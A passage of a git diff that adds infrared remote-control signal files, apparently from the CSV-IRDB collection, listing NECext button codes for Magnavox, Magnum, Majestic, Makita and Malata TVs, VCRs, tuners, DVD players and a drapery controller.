+# +name: 1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 45 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 49 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 75 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 76 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 77 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir new file mode 100644 index 000000000..b74914823 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: SMART +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir new file mode 100644 index 000000000..c16f15d90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: Status +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir new file mode 100644 index 000000000..e35207149 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: VAR._SLOW_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: VAR._SLOW_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: X2_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: GO-TO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4D 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4E 00 00 00 +# +name: SKIP/SEARCH +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6A 00 00 00 +# +name: FRAME_ADVANCE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir new file mode 100644 index 000000000..10ce23dc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: FORWARD_> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: BACK_< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 44 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 45 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 46 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 47 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 48 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4D 00 00 00 +# +name: ENTER_FREQUENCY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4E 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4F 00 00 00 +# +name: MONO_(TOGGLE) +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 50 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 51 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir new file mode 100644 index 000000000..2110702cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: AV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: EYE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: BRIGHTNESS- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: BRIGHTNESS+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: TOP10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 70 00 00 00 +# +name: CONTRAST- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir new file mode 100644 index 000000000..941c8ed7d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: clear/eq +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: ran +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: l/r +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: arrow-right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: arrow-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: arrow-left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: diesis +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: arrow-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: PDVB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: view +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir new file mode 100644 index 000000000..47449946b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: OPEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: OPEN_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: <-_->_(OPEN) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: 1_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: CLOSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: CLOSE_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: -><-_(CLOSE) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: 2_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: OPEN_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: 2_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: CLOSE_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: STOP_CLOSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: STOP_OPEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: 3_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: OPEN_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: 3_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: CLOSE_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: 4_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: 4_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: 5_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2C 00 00 00 +# +name: 5_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: 6_<--> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: 6_-><- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir new file mode 100644 index 000000000..d9ec4f900 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: PREV_TRACK_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: NEXT_TRACK_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: SUBPICTURE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed 